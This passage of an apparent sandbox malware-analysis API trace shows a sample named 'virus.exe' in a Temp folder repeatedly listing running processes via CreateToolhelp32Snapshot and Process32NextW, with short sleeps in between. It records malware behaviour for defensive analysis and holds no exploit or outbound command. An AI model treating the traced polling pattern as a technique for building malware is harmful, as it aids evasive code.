th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0188.195] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0188.195] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0188.196] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.197] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0188.197] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0188.198] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0188.198] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0188.199] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0188.200] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0188.200] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0188.201] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0188.202] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0188.202] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0188.203] CloseHandle (hObject=0x1f8) returned 1 [0188.203] Sleep (dwMilliseconds=0x1f4) [0189.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0189.131] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.132] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0189.132] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0189.133] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.133] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0189.134] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.134] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0189.135] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0189.135] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0189.136] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0189.136] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.136] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.137] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.137] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.138] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.138] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0189.139] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.139] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.140] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0189.140] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0189.140] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0189.141] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0189.141] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0189.142] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.142] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0189.143] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0189.143] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0189.144] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0189.144] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0189.145] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0189.145] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0189.146] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0189.146] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0189.146] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0189.147] CloseHandle (hObject=0x1fc) returned 1 [0189.147] Sleep (dwMilliseconds=0x1f4) [0189.752] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0189.754] Process32FirstW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.755] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0189.755] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0189.755] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.756] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0189.756] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.757] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0189.757] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0189.757] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0189.758] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0189.758] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.758] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.759] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.759] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.760] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.760] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0189.760] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.761] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.761] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0189.762] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0189.762] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0189.762] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0189.763] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0189.763] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.763] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0189.764] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0189.764] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0189.764] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0189.765] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0189.765] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0189.766] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0189.766] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0189.766] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0189.767] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0189.767] CloseHandle (hObject=0x200) returned 1 [0189.782] Sleep (dwMilliseconds=0x1f4) [0190.360] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 